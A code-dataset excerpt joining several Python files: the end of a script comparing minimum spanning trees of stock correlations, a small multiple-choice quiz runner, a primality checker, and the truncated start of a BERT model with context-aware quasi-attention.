spearman_diffs[i-1], _, _ = calculate_mst_diff(mst_spearman, prev_mst_spearman)\n tau_diffs[i-1], _, _ = calculate_mst_diff(mst_tau, prev_mst_tau)\n\n pearson_spearman_diff[i], pearson_spearman_node_diff[i], _ = calculate_mst_diff(mst_pearson, mst_spearman)\n spearman_tau_diff[i], pearson_tau_node_diff[i], _ = calculate_mst_diff(mst_tau, mst_spearman)\n pearson_tau_diff[i], spearman_tau_node_diff[i], _ = calculate_mst_diff(mst_tau, mst_pearson)\n\n degree_diff_corr[i], pearson_spearman_degree_corr[i], pearson_spearman_threshold_degree_corr[i] = measure_node_difference(mst_pearson, mst_spearman)\n degree_diff_corr[i], pearson_tau_degree_corr[i], pearson_tau_threshold_degree_corr[i] = measure_node_difference(mst_pearson, mst_tau)\n degree_diff_corr[i], spearman_tau_degree_corr[i], spearman_tau_threshold_degree_corr[i] = measure_node_difference(mst_spearman, mst_tau)\n\n M_spearman = nx.to_numpy_array(mst_spearman, nodes)\n M_spearman[np.abs(M_spearman) > 0] = 1\n M_pearson = nx.to_numpy_array(mst_pearson, nodes)\n M_pearson[np.abs(M_pearson) > 0] = 1\n M_tau = nx.to_numpy_array(mst_tau, nodes)\n M_tau[np.abs(M_tau) > 0] = 1\n total_prescence_pearson += M_pearson\n total_prescence_spearman += M_spearman\n total_prescence_tau += M_tau\n\n prev_mst_spearman = mst_spearman\n prev_mst_pearson = mst_pearson\n prev_mst_tau = mst_tau\n\n edges_life_pearson[i], _, _ = calculate_mst_diff(mst_pearson, first_tree_pearson)\n edges_life_spearman[i], _, _ = calculate_mst_diff(mst_spearman, first_tree_spearman)\n edges_life_tau[i], _, _ = calculate_mst_diff(mst_spearman, first_tree_tau)\n\n mean_ol_pearson[i] = mean_occupation_layer(mst_pearson)\n mean_ol_spearman[i] = mean_occupation_layer(mst_spearman)\n mean_ol_tau[i] = mean_occupation_layer(mst_tau)\n\n diameter_pearson[i] = nx.diameter(mst_pearson)\n diameter_spearman[i] = nx.diameter(mst_spearman)\n diameter_tau[i] = nx.diameter(mst_tau)\n\n average_shortest_path_length_pearson[i] = nx.average_shortest_path_length(mst_pearson, weight='weight')\n average_shortest_path_length_spearman[i] = nx.average_shortest_path_length(mst_spearman, weight='weight')\n average_shortest_path_length_tau[i] = nx.average_shortest_path_length(mst_tau, weight='weight')\n\n leaf_fraction_pearson[i] = measure_leaf_fraction(mst_pearson)\n leaf_fraction_spearman[i] = measure_leaf_fraction(mst_spearman)\n leaf_fraction_tau[i] = measure_leaf_fraction(mst_tau)\n\n alpha_pearson[i] = calculate_exponent(mst_pearson)\n alpha_spearman[i] = calculate_exponent(mst_spearman)\n alpha_tau[i] = calculate_exponent(mst_tau)\n\n # Look at the centralities\n pearson_node, pearson_sector = get_centrality(mst_pearson, degree=True)\n for sec in pearson_sector:\n sector_degree_centrality_pearson[sec].append(pearson_sector[sec])\n\n spearman_node, spearman_sector = get_centrality(mst_spearman, degree=True)\n for sec in spearman_sector:\n sector_degree_centrality_spearman[sec].append(spearman_sector[sec])\n\n tau_node, tau_sector = get_centrality(mst_tau, degree=True)\n for sec in tau_sector:\n sector_degree_centrality_tau[sec].append(tau_sector[sec])\n\n pearson_node, pearson_sector = get_centrality(mst_pearson, degree=False)\n for sec in pearson_sector:\n sector_betweenness_centrality_pearson[sec].append(pearson_sector[sec])\n\n spearman_node, spearman_sector = get_centrality(mst_spearman, degree=False)\n for sec in spearman_sector:\n sector_betweenness_centrality_spearman[sec].append(spearman_sector[sec])\n\n tau_node, tau_sector = get_centrality(mst_tau, degree=False)\n for sec in tau_sector:\n sector_betweenness_centrality_tau[sec].append(tau_sector[sec])\n\nplt.figure()\nplt.scatter(pearson_corr_values, spearman_corr_values)\nplt.xlim([-0.3, 1])\nplt.ylim([-0.3, 1])\nplt.xlabel(\"Pearson Correlation Coefficient\")\nplt.ylabel(\"Spearman Correlation Coefficient\")\nplt.tight_layout()\nplt.savefig(\"pearson_vs_spearman.png\")\n\nplt.figure()\nplt.scatter(pearson_corr_values, tau_corr_values)\nplt.xlim([-0.3, 1])\nplt.ylim([-0.3, 1])\nplt.xlabel(\"Pearson Correlation Coefficient\")\nplt.ylabel(\"Kendall $\\\\tau$ Correlation Coefficient\")\nplt.tight_layout()\nplt.savefig(\"pearson_vs_tau.png\")\n\nplt.figure()\nplt.scatter(spearman_corr_values, tau_corr_values)\nplt.xlim([-0.3, 1])\nplt.ylim([-0.3, 1])\nplt.xlabel(\"Spearman Correlation Coefficient\")\nplt.ylabel(\"Kendall $\\\\tau$ Correlation Coefficient\")\nplt.tight_layout()\nplt.savefig(\"spearman_vs_tau.png\")\n\n# Create some example MSTs for us to draw\nG_pearson = Graphs_pearson[0]\nG_spearman = Graphs_spearman[0]\nG_tau = Graphs_tau[0]\n\nmst_pearson = nx.minimum_spanning_tree(correlation_to_distance(G_pearson))\nmst_spearman = nx.minimum_spanning_tree(correlation_to_distance(G_spearman))\nmst_tau = nx.minimum_spanning_tree(correlation_to_distance(G_tau))\n\nnx.write_graphml(mst_pearson, \"mst_pearson_0.graphml\")\nnx.write_graphml(mst_spearman, \"mst_spearman_0.graphml\")\nnx.write_graphml(mst_tau, \"mst_tau_0.graphml\")\n\nmax_eig_df = pd.DataFrame()\nmax_eig_df['Pearson'] = pearson_largest_eig\nmax_eig_df['Spearman'] = spearman_largest_eig\nmax_eig_df['$\\\\tau$'] = tau_largest_eig\nmax_eig_df.index = dt\nmax_eig_df.plot()\nplt.ylabel(\"$\\lambda_{\\max}$\")\nplt.tight_layout()\nplt.savefig(\"max_eig.png\")\n\nedge_life_df = pd.DataFrame()\nedge_life_df['Pearson'] = edges_life_pearson\nedge_life_df['Spearman'] = edges_life_spearman\nedge_life_df['$\\\\tau$'] = edges_life_tau\nedge_life_df.index = dt\nedge_life_df.plot()\nplt.ylabel(\"Fraction of Different Edges\")\nplt.tight_layout()\nplt.savefig(\"edges_life.png\")\n\nmean_occupation_layer_df = pd.DataFrame()\nmean_occupation_layer_df['Pearson'] = mean_ol_pearson\nmean_occupation_layer_df['Spearman'] = mean_ol_spearman\nmean_occupation_layer_df['$\\\\tau$'] = mean_ol_tau\nmean_occupation_layer_df.index = dt\nmean_occupation_layer_df.plot()\n#plt.title(\"Mean Occupation Layer\")\nplt.tight_layout()\nplt.savefig(\"mean_occupation_layer.png\")\n\naverage_shortest_path_length_df = pd.DataFrame()\naverage_shortest_path_length_df['Pearson'] = average_shortest_path_length_pearson\naverage_shortest_path_length_df['Spearman'] = average_shortest_path_length_spearman\naverage_shortest_path_length_df['$\\\\tau$'] = average_shortest_path_length_tau\n\naverage_shortest_path_length_df.index = dt\naverage_shortest_path_length_df.plot()\n#plt.title(\"Average Shortest Path Length\")\nplt.tight_layout()\nplt.savefig(\"average_shortest_path_length.png\")\n\nleaf_fraction_df = pd.DataFrame()\nleaf_fraction_df['Pearson'] = leaf_fraction_pearson\nleaf_fraction_df['Spearman'] = leaf_fraction_spearman\nleaf_fraction_df['$\\\\tau$'] = leaf_fraction_tau\nleaf_fraction_df.index = dt\nleaf_fraction_df.plot()\n#plt.title(\"Leaf Fraction\")\nplt.tight_layout()\nplt.savefig(\"leaf_fraction.png\")\n\nexponent_df = pd.DataFrame()\nexponent_df['Pearson'] = alpha_pearson\nexponent_df['Spearman'] = alpha_spearman\nexponent_df['$\\\\tau$'] = alpha_tau\nexponent_df.index = dt\nexponent_df.plot()\n#plt.title(\"Exponent\")\nplt.tight_layout()\nplt.savefig(\"exponent.png\")\n\nplt.figure()\ndiff_df = pd.DataFrame()\ndiff_df['Pearson - Spearman'] = pd.Series(pearson_spearman_diff)\ndiff_df['Pearson - $\\\\tau$'] = pd.Series(pearson_tau_diff)\ndiff_df['Spearman - $\\\\tau$'] = pd.Series(spearman_tau_diff)\ndiff_df.index = dt\ndiff_df.plot()\nplt.ylim([0.0, 0.6])\nplt.ylabel(\"Fraction of Different Edges\")\nplt.tight_layout()\nplt.savefig(\"edge_difference.png\")\n\nedge_life_df = pd.DataFrame()\nedge_life_df['Pearson'] = edges_life_pearson\nedge_life_df['Spearman'] = edges_life_spearman\nedge_life_df['$\\\\tau$'] = edges_life_tau\nedge_life_df.index = dt\nedge_life_df.plot()\nplt.ylabel(\"Fraction of Different Edges\")\nplt.tight_layout()\nplt.savefig(\"edges_life.png\")\n\ndiff_df = pd.DataFrame()\ndiff_df['Pearson'] = pearson_diffs\ndiff_df['Spearman'] = spearman_diffs\ndiff_df['$\\\\tau$'] = tau_diffs\ndiff_df.index = dt_2\ndiff_df.plot()\n#plt.title(\"Edge Difference\")\nplt.ylabel(\"Fraction of Different Edges\")\nplt.tight_layout()\nplt.savefig(\"diff.png\")\n\nplt.figure()\ndegree_corr_df = pd.DataFrame()\ndegree_corr_df['Pearson - Spearman'] = pd.Series(pearson_spearman_degree_corr)\ndegree_corr_df['Pearson - $\\\\tau$'] = pd.Series(pearson_tau_degree_corr)\ndegree_corr_df['Spearman - $\\\\tau$'] = pd.Series(spearman_tau_degree_corr)\ndegree_corr_df.index = dt\ndegree_corr_df.plot()\nplt.ylim([0.2, 1])\n#plt.title(\"Correlation between node degree\")\nplt.ylabel(\"Degree Correlation\")\nplt.tight_layout()\nplt.savefig(\"degree_corr.png\")\n\nplt.figure()\ndegree_corr_df = pd.DataFrame()\ndegree_corr_df['Pearson - Spearman'] = pd.Series(pearson_spearman_threshold_degree_corr)\ndegree_corr_df['Pearson - $\\\\tau$'] = pd.Series(pearson_tau_threshold_degree_corr)\ndegree_corr_df['Spearman - $\\\\tau$'] = pd.Series(spearman_tau_threshold_degree_corr)\ndegree_corr_df.index = dt\ndegree_corr_df.plot()\nplt.ylim([0.2, 1])\nplt.ylabel(\"Degree Correlation\")\nplt.tight_layout()\n#plt.title(\"Correlation between node degree\")\nplt.savefig(\"peripheries_degree_corr.png\")\n\n# Look at the edges that are maintained throughout the dataset\nprint(\"Total maintained Pearson\")\nprint(np.count_nonzero(np.triu(total_prescence_pearson) == 142))\nprint(\"Total maintained Spearman\")\nprint(np.count_nonzero(np.triu(total_prescence_spearman) == 142))\nprint(\"Total maintained Tau\")\nprint(np.count_nonzero(np.triu(total_prescence_tau) == 142))\n# Which edges are these?\nprint(\"Pearson\")\nind = np.where(np.triu(total_prescence_pearson) == 142)\nxs = ind[0]\nys = ind[1]\n\nfor x, y in zip(xs, ys):\n print(\"%s - %s (%s - %s)\" % (company_names[x], company_names[y], company_sectors[x], company_sectors[y])) \n\nprint(\"Spearman\")\nind = np.where(np.triu(total_prescence_spearman) == 142)\nxs = ind[0]\nys = ind[1]\n\nfor x, y in zip(xs, ys):\n print(\"%s - %s (%s - %s)\" % (company_names[x], company_names[y], company_sectors[x], company_sectors[y])) \n\nprint(\"Tau\")\nind = np.where(np.triu(total_prescence_tau) == 142)\nxs = ind[0]\nys = ind[1]\n\nfor x, y in zip(xs, ys):\n print(\"%s - %s (%s - %s)\" % (company_names[x], company_names[y], company_sectors[x], company_sectors[y])) \n\n\n# Which nodes have the highest degree overall?\ntotal_degree_spearman = total_prescence_spearman.sum(axis=0)\ntotal_degree_pearson = total_prescence_pearson.sum(axis=0)\ntotal_degree_tau = total_prescence_tau.sum(axis=0)\n\nspearman_ind = np.argsort(total_degree_spearman)[::-1]\npearson_ind = np.argsort(total_degree_pearson)[::-1]\ntau_ind = np.argsort(total_degree_tau)[::-1]\n\nprint(\"Pearson most central\")\nfor i in pearson_ind[0:10]:\n print(\"%s & %s & %s \\\\\\\\\" % (company_names[i], company_sectors[i], total_degree_pearson[i]) )\n if i == 10:\n break\n\nprint()\nprint(\"Spearman most central\")\nfor i in spearman_ind[0:10]:\n print(\"%s & %s & %s\\\\\\\\\" % (company_names[i], company_sectors[i], total_degree_spearman[i]) )\n\nprint()\nprint(\"Tau most central\")\nfor i in tau_ind[0:10]:\n print(\"%s & %s & %s\\\\\\\\\" % (company_names[i], company_sectors[i], total_degree_tau[i]) )\n\nprint(\"Total degree correlation\")\nprint(\"Pearson - Spearman\")\nprint(spearmanr(total_degree_pearson, total_degree_spearman))\nprint(\"Pearson - tau\")\nprint(spearmanr(total_degree_pearson, total_degree_tau))\nprint(\"tau - Spearman\")\nprint(spearmanr(total_degree_tau, total_degree_spearman))\n\nsector_degree_centrality_pearson_df = pd.DataFrame.from_dict(sector_degree_centrality_pearson)\nsector_degree_centrality_pearson_df.index = dt\nsector_degree_centrality_spearman_df = pd.DataFrame.from_dict(sector_degree_centrality_spearman)\nsector_degree_centrality_spearman_df.index = dt\nsector_degree_centrality_tau_df = pd.DataFrame.from_dict(sector_degree_centrality_tau)\nsector_degree_centrality_tau_df.index = dt\n\nsector_betweenness_centrality_pearson_df = pd.DataFrame.from_dict(sector_betweenness_centrality_pearson)\nsector_betweenness_centrality_pearson_df.index = dt\nsector_betweenness_centrality_spearman_df = pd.DataFrame.from_dict(sector_betweenness_centrality_spearman)\nsector_betweenness_centrality_spearman_df.index = dt\nsector_betweenness_centrality_tau_df = pd.DataFrame.from_dict(sector_betweenness_centrality_tau)\nsector_betweenness_centrality_tau_df.index = dt\n\nmax_val = max(sector_degree_centrality_pearson_df.max().max(), sector_degree_centrality_spearman_df.max().max(), sector_degree_centrality_tau_df.max().max())\n\n# We use plotly to create some heatmaps that look a bit better than just straight graphs\nimport plotly.graph_objects as go\nimport datetime\ndates = sector_degree_centrality_pearson_df.index \nsectors = sector_degree_centrality_pearson_df.keys().values\nfig = go.Figure(data=go.Heatmap(z=sector_degree_centrality_pearson_df.T.values, x= dates.to_pydatetime(), zmax=max_val, zmin=0, y=sectors, colorscale='Viridis')) \nfig.show()\n\ndates = sector_degree_centrality_spearman_df.index \nsectors = sector_degree_centrality_spearman_df.keys().values\nfig = go.Figure(data=go.Heatmap(z=sector_degree_centrality_spearman_df.T.values, x= dates.to_pydatetime(), zmax=max_val, zmin=0, y=sectors, colorscale='Viridis')) \nfig.show()\n\ndates = sector_degree_centrality_tau_df.index \nsectors = sector_degree_centrality_tau_df.keys().values\nfig = go.Figure(data=go.Heatmap(z=sector_degree_centrality_tau_df.T.values, x= dates.to_pydatetime(), zmax=max_val, zmin=0, y=sectors, colorscale='Viridis')) \nfig.show()\n\nmax_val = max(sector_betweenness_centrality_pearson_df.max().max(), sector_betweenness_centrality_spearman_df.max().max(), sector_betweenness_centrality_tau_df.max().max())\n\ndates = sector_betweenness_centrality_pearson_df.index \nsectors = sector_betweenness_centrality_pearson_df.keys().values\nfig = go.Figure(data=go.Heatmap(z=sector_betweenness_centrality_pearson_df.T.values, x= dates.to_pydatetime(), zmax=max_val, zmin=0, y=sectors, colorscale='Viridis')) \nfig.show()\n\ndates = sector_betweenness_centrality_spearman_df.index \nsectors = sector_betweenness_centrality_spearman_df.keys().values\nfig = go.Figure(data=go.Heatmap(z=sector_betweenness_centrality_spearman_df.T.values, x= dates.to_pydatetime(), zmax=max_val, zmin=0, y=sectors, colorscale='Viridis')) \nfig.show()\n\ndates = sector_betweenness_centrality_tau_df.index \nsectors = sector_betweenness_centrality_tau_df.keys().values\nfig = go.Figure(data=go.Heatmap(z=sector_betweenness_centrality_tau_df.T.values, x= dates.to_pydatetime(), zmax=max_val, zmin=0, y=sectors, colorscale='Viridis')) \nfig.show()\n\npearson_spearman = pd.Series()\npearson_tau = pd.Series()\nspearman_tau = pd.Series()\n# Measure the correlation between them all\nprint(\"Degree Centrality Correlation\")\nfor sec in sector_degree_centrality_tau_df:\n pearson_spearman[sec] = spearmanr(sector_degree_centrality_pearson_df[sec], sector_degree_centrality_spearman[sec])[0]\n pearson_tau[sec] = spearmanr(sector_degree_centrality_pearson_df[sec], sector_degree_centrality_tau_df[sec])[0]\n spearman_tau[sec] = spearmanr(sector_degree_centrality_tau_df[sec], sector_degree_centrality_spearman[sec])[0]\n print(\"%s & %.3f & %.3f & %.3f \\\\\\\\\" % (sec, pearson_spearman[sec], pearson_tau[sec], spearman_tau[sec]))\n\nprint(\"Pearson - Spearman $%.3f \\pm %.3f$\" % (pearson_spearman.mean(), pearson_spearman.std()))\nprint(\"Pearson - $\\\\tau %.3f \\pm %.3f$\" % (pearson_tau.mean(), pearson_tau.std()))\nprint(\"Spearman - $\\\\tau $%.3f \\pm %.3f$\" % (spearman_tau.mean(), spearman_tau.std()))\n\n\npearson_spearman = pd.Series()\npearson_tau = pd.Series()\nspearman_tau = pd.Series()\n# Measure the correlation between them all\nprint(\"Betweenness Centrality Correlation\")\nfor sec in sector_betweenness_centrality_pearson_df:\n pearson_spearman[sec] = spearmanr(sector_betweenness_centrality_pearson_df[sec], sector_betweenness_centrality_spearman[sec])[0]\n pearson_tau[sec] = spearmanr(sector_betweenness_centrality_pearson_df[sec], sector_betweenness_centrality_tau[sec])[0]\n spearman_tau[sec] = spearmanr(sector_betweenness_centrality_tau_df[sec], sector_betweenness_centrality_spearman[sec])[0]\n print(\"%s & %.3f & %.3f & %.3f \\\\\\\\\" % (sec, pearson_spearman[sec], pearson_tau[sec], spearman_tau[sec]))\n\nprint(\"Pearson - Spearman $%.3f \\pm %.3f$\" % (pearson_spearman.mean(), pearson_spearman.std()))\nprint(\"Pearson - $\\\\tau %.3f \\pm %.3f$\" % (pearson_tau.mean(), pearson_tau.std()))\nprint(\"Spearman - $\\\\tau $%.3f \\pm %.3f$\" % (spearman_tau.mean(), spearman_tau.std()))\n\nplt.close('all')","sub_path":"mst_analysis.py","file_name":"mst_analysis.py","file_ext":"py","file_size_in_byte":27692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"165073051","text":"from Question import QuestionClass\nimport Question\n\nquestion_array = (Question.get_questions())\nq1 = ''.join(question_array[0:4])\nq2 = ''.join(question_array[5:8])\nq3 = ''.join(question_array[9:13])\n\nquestion1 = QuestionClass(q1, \"a\")\nquestion2 = QuestionClass(q2, \"a\")\nquestion3 = QuestionClass(q3, \"c\")\nquestions = (question1, question2, question3)\n\n\ndef run_test(questions):\n score = 0\n for question in questions:\n answer = input(question.prompt + \"\\nAnswer:\")\n if answer == question.answer:\n score += 1\n print(\"Your score:\" + str(score) + \"/\" + str(len(questions)))\n\n\nrun_test(questions)\n","sub_path":"Questionnaire.py","file_name":"Questionnaire.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"34160550","text":"#!usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nimport numpy as np\nimport sys\nimport math\n\ndef primarity(num):\n num = int(num)\n r = np.arange(2, math.sqrt(int(num))+1, 1)\n if num > 3:\n for i in r:\n if num%i == 0:\n return False\n return True\n\ndef main(argv):\n print(primarity(argv[1]))\n\nmain(sys.argv)\n","sub_path":"Algorithms/decision/Primarity.py","file_name":"Primarity.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"343951102","text":"# coding=utf-8\n\nfrom __future__ import absolute_import, division, print_function\n\nimport copy\nimport json\nimport math\n\nimport six\nimport torch\nimport torch.nn as nn\nfrom torch.nn import CrossEntropyLoss\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nimport collections\nfrom functools import partial\n\nfrom util.lrp import *\n\n# access global vars here\nglobal func_inputs\nglobal func_activations\nfunc_inputs = collections.defaultdict(list)\nfunc_activations = collections.defaultdict(list)\n\ndef get_inputivation(name):\n def hook(model, input, output):\n func_inputs[name] = [_in for _in in input]\n return hook\n\ndef get_activation(name):\n def hook(model, input, output):\n func_activations[name] = output\n return hook\n\ndef get_activation_multi(name):\n def hook(model, input, output):\n func_activations[name] = [_out for _out in output]\n return hook\n\n# TODO: make this init as a part of the model init\ndef init_hooks_lrp(model):\n \"\"\"\n Initialize all the hooks required for full lrp for BERT model.\n \"\"\"\n # in order to backout all the lrp through layers\n # you need to register hooks here.\n model.classifier.register_forward_hook(\n get_inputivation('model.classifier'))\n model.classifier.register_forward_hook(\n get_activation('model.classifier'))\n\n model.bert.embeddings.register_forward_hook(\n get_activation('model.bert.embeddings'))\n\ndef gelu(x):\n \"\"\"Implementation of the gelu activation function.\n For information: OpenAI GPT's gelu is slightly different (and gives slightly different results):\n 0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))\n \"\"\"\n return x * 0.5 * (1.0 + torch.erf(x / math.sqrt(2.0)))\n\nclass BERTIntermediate(nn.Module):\n def __init__(self, config):\n super(BERTIntermediate, self).__init__()\n self.dense = nn.Linear(config.hidden_size, config.intermediate_size)\n self.intermediate_act_fn = gelu\n\n def forward(self, hidden_states):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.intermediate_act_fn(hidden_states)\n return hidden_states\n\nclass BertConfig(object):\n \"\"\"Configuration class to store the configuration of a `BertModel`.\n \"\"\"\n def __init__(self,\n vocab_size=32000,\n hidden_size=768,\n num_hidden_layers=12,\n num_attention_heads=12,\n intermediate_size=3072,\n hidden_act=\"gelu\",\n hidden_dropout_prob=0.1,\n attention_probs_dropout_prob=0.1,\n max_position_embeddings=512,\n type_vocab_size=16,\n initializer_range=0.02,\n full_pooler=False): # this is for transformer-like BERT\n \"\"\"Constructs BertConfig.\n\n Args:\n vocab_size: Vocabulary size of `inputs_ids` in `BertModel`.\n hidden_size: Size of the encoder layers and the pooler layer.\n num_hidden_layers: Number of hidden layers in the Transformer encoder.\n num_attention_heads: Number of attention heads for each attention layer in\n the Transformer encoder.\n intermediate_size: The size of the \"intermediate\" (i.e., feed-forward)\n layer in the Transformer encoder.\n hidden_act: The non-linear activation function (function or string) in the\n encoder and pooler.\n hidden_dropout_prob: The dropout probabilitiy for all fully connected\n layers in the embeddings, encoder, and pooler.\n attention_probs_dropout_prob: The dropout ratio for the attention\n probabilities.\n max_position_embeddings: The maximum sequence length that this model might\n ever be used with. Typically set this to something large just in case\n (e.g., 512 or 1024 or 2048).\n type_vocab_size: The vocabulary size of the `token_type_ids` passed into\n `BertModel`.\n initializer_range: The sttdev of the truncated_normal_initializer for\n initializing all weight matrices.\n \"\"\"\n self.vocab_size = vocab_size\n self.hidden_size = hidden_size\n self.num_hidden_layers = num_hidden_layers\n self.num_attention_heads = num_attention_heads\n self.hidden_act = hidden_act\n self.intermediate_size = intermediate_size\n self.hidden_dropout_prob = hidden_dropout_prob\n self.attention_probs_dropout_prob = attention_probs_dropout_prob\n self.max_position_embeddings = max_position_embeddings\n self.type_vocab_size = type_vocab_size\n self.initializer_range = initializer_range\n self.full_pooler = full_pooler\n\n @classmethod\n def from_dict(cls, json_object):\n \"\"\"Constructs a `BertConfig` from a Python dictionary of parameters.\"\"\"\n config = BertConfig(vocab_size=None)\n for (key, value) in six.iteritems(json_object):\n config.__dict__[key] = value\n return config\n\n @classmethod\n def from_json_file(cls, json_file):\n \"\"\"Constructs a `BertConfig` from a json file of parameters.\"\"\"\n with open(json_file, \"r\") as reader:\n text = reader.read()\n return cls.from_dict(json.loads(text))\n\n def to_dict(self):\n \"\"\"Serializes this instance to a Python dictionary.\"\"\"\n output = copy.deepcopy(self.__dict__)\n return output\n\n def to_json_string(self):\n \"\"\"Serializes this instance to a JSON string.\"\"\"\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n\n\nclass BERTLayerNorm(nn.Module):\n def __init__(self, config, variance_epsilon=1e-12):\n \"\"\"Construct a layernorm module in the TF style (epsilon inside the square root).\n \"\"\"\n super(BERTLayerNorm, self).__init__()\n self.gamma = nn.Parameter(torch.ones(config.hidden_size))\n self.beta = nn.Parameter(torch.zeros(config.hidden_size))\n self.variance_epsilon = variance_epsilon\n\n def forward(self, x):\n u = x.mean(-1, keepdim=True)\n s = (x - u).pow(2).mean(-1, keepdim=True)\n x = (x - u) / torch.sqrt(s + self.variance_epsilon)\n return self.gamma * x + self.beta\n\nclass BERTEmbeddings(nn.Module):\n def __init__(self, config):\n super(BERTEmbeddings, self).__init__()\n \"\"\"Construct the embedding module from word, position and token_type embeddings.\n \"\"\"\n self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size)\n self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)\n self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)\n\n # self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load\n # any TensorFlow checkpoint file\n self.LayerNorm = BERTLayerNorm(config)\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n\n def forward(self, input_ids, token_type_ids=None):\n seq_length = input_ids.size(1)\n position_ids = torch.arange(seq_length, dtype=torch.long, device=input_ids.device)\n position_ids = position_ids.unsqueeze(0).expand_as(input_ids)\n if token_type_ids is None:\n token_type_ids = torch.zeros_like(input_ids)\n\n words_embeddings = self.word_embeddings(input_ids)\n position_embeddings = self.position_embeddings(position_ids)\n token_type_embeddings = self.token_type_embeddings(token_type_ids)\n\n embeddings = words_embeddings + position_embeddings + token_type_embeddings\n embeddings = self.LayerNorm(embeddings)\n embeddings = self.dropout(embeddings)\n return embeddings\n\ndef mask(seq_len):\n batch_size = len(seq_len)\n max_len = max(seq_len)\n mask = torch.zeros(batch_size, max_len, dtype=torch.float)\n for i in range(mask.size()[0]):\n mask[i,:seq_len[i]] = 1\n return mask\n\nclass ContextBERTPooler(nn.Module):\n def __init__(self, config):\n super(ContextBERTPooler, self).__init__()\n # new fields\n self.attention_gate = nn.Sequential(nn.Linear(config.hidden_size, 32),\n nn.ReLU(),\n nn.Dropout(config.hidden_dropout_prob),\n nn.Linear(32, 1))\n # old fileds\n self.dense = nn.Linear(config.hidden_size, config.hidden_size)\n self.activation = nn.Tanh()\n\n def forward(self, hidden_states, attention_mask):\n #######################################################################\n # In pooling, we are using a local context attention mechanism, instead\n # of just pooling the first [CLS] elements\n # attn_scores = self.attention_gate(hidden_states)\n # extended_attention_mask = attention_mask.unsqueeze(dim=-1)\n # attn_scores = \\\n # attn_scores.masked_fill(extended_attention_mask == 0, -1e9)\n # attn_scores = F.softmax(attn_scores, dim=1)\n # # attened embeddings\n # hs_pooled = \\\n # torch.matmul(attn_scores.permute(0,2,1), hidden_states).squeeze(dim=1)\n\n # We \"pool\" the model by simply taking the hidden state corresponding\n # to the first token.\n hs_pooled = hidden_states[:, 0]\n #######################################################################\n\n #return first_token_tensor\n pooled_output = self.dense(hs_pooled)\n pooled_output = self.activation(pooled_output)\n return pooled_output\n\nclass ContextBERTSelfAttention(nn.Module):\n def __init__(self, config):\n super(ContextBERTSelfAttention, self).__init__()\n if config.hidden_size % config.num_attention_heads != 0:\n raise ValueError(\n \"The hidden size (%d) is not a multiple of the number of attention \"\n \"heads (%d)\" % (config.hidden_size, config.num_attention_heads))\n self.num_attention_heads = config.num_attention_heads\n self.attention_head_size = int(config.hidden_size / config.num_attention_heads)\n self.all_head_size = self.num_attention_heads * self.attention_head_size\n\n self.query = nn.Linear(config.hidden_size, self.all_head_size)\n self.key = nn.Linear(config.hidden_size, self.all_head_size)\n self.value = nn.Linear(config.hidden_size, self.all_head_size)\n\n self.dropout = nn.Dropout(config.attention_probs_dropout_prob)\n\n # learnable context integration factors\n # enforce initialization to zero as to leave the pretrain model\n # unperturbed in the beginning\n self.context_for_q = nn.Linear(config.hidden_size, config.hidden_size)\n self.context_for_k = nn.Linear(config.hidden_size, config.hidden_size)\n self.lambda_q_context_layer = nn.Linear(self.attention_head_size, 1)\n self.lambda_q_query_layer = nn.Linear(self.attention_head_size, 1)\n self.lambda_k_context_layer = nn.Linear(self.attention_head_size, 1)\n self.lambda_k_key_layer = nn.Linear(self.attention_head_size, 1)\n\n # zero-centered activation function, specifically for re-arch fine tunning\n self.lambda_act = nn.Sigmoid()\n self.quasi_act = nn.Sigmoid()\n\n def transpose_for_scores(self, x):\n new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)\n x = x.view(*new_x_shape)\n return x.permute(0, 2, 1, 3)\n\n def forward(self, hidden_states, attention_mask,\n # optional parameters for saving context information\n device=None, context_embedded=None):\n mixed_query_layer = self.query(hidden_states)\n mixed_key_layer = self.key(hidden_states)\n mixed_value_layer = self.value(hidden_states)\n\n ######################################################################\n # Dot product attention\n query_layer = self.transpose_for_scores(mixed_query_layer)\n key_layer = self.transpose_for_scores(mixed_key_layer)\n # Take the dot product between \"query\" and \"key\" to get the raw attention scores.\n attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))\n attention_scores = attention_scores / math.sqrt(self.attention_head_size)\n # Apply the attention mask is (precomputed for all layers in BertModel forward() function)\n attention_scores = attention_scores + attention_mask\n # Normalize the attention scores to probabilities.\n attention_probs = nn.Softmax(dim=-1)(attention_scores) # [0, 1]\n\n # Quasi-attention Integration with context\n context_embedded_q = self.context_for_q(context_embedded)\n context_embedded_q = self.transpose_for_scores(context_embedded_q)\n context_embedded_q = self.dropout(context_embedded_q)\n context_embedded_k = self.context_for_k(context_embedded)\n context_embedded_k = self.transpose_for_scores(context_embedded_k)\n context_embedded_k = self.dropout(context_embedded_k)\n\n quasi_attention_scores = torch.matmul(context_embedded_q, context_embedded_k.transpose(-1, -2))\n quasi_attention_scores = quasi_attention_scores / math.sqrt(self.attention_head_size)\n quasi_attention_scores = quasi_attention_scores + attention_mask\n quasi_scalar = 1.0\n quasi_attention_scores = 1.0 * quasi_scalar * self.quasi_act(quasi_attention_scores) # [-1, 0]\n\n # Quasi-gated control\n lambda_q_context = self.lambda_q_context_layer(context_embedded_q)\n lambda_q_query = self.lambda_q_query_layer(query_layer)\n lambda_q = self.quasi_act(lambda_q_context + lambda_q_query)\n lambda_k_context = self.lambda_k_context_layer(context_embedded_k)\n lambda_k_key = self.lambda_k_key_layer(key_layer)\n 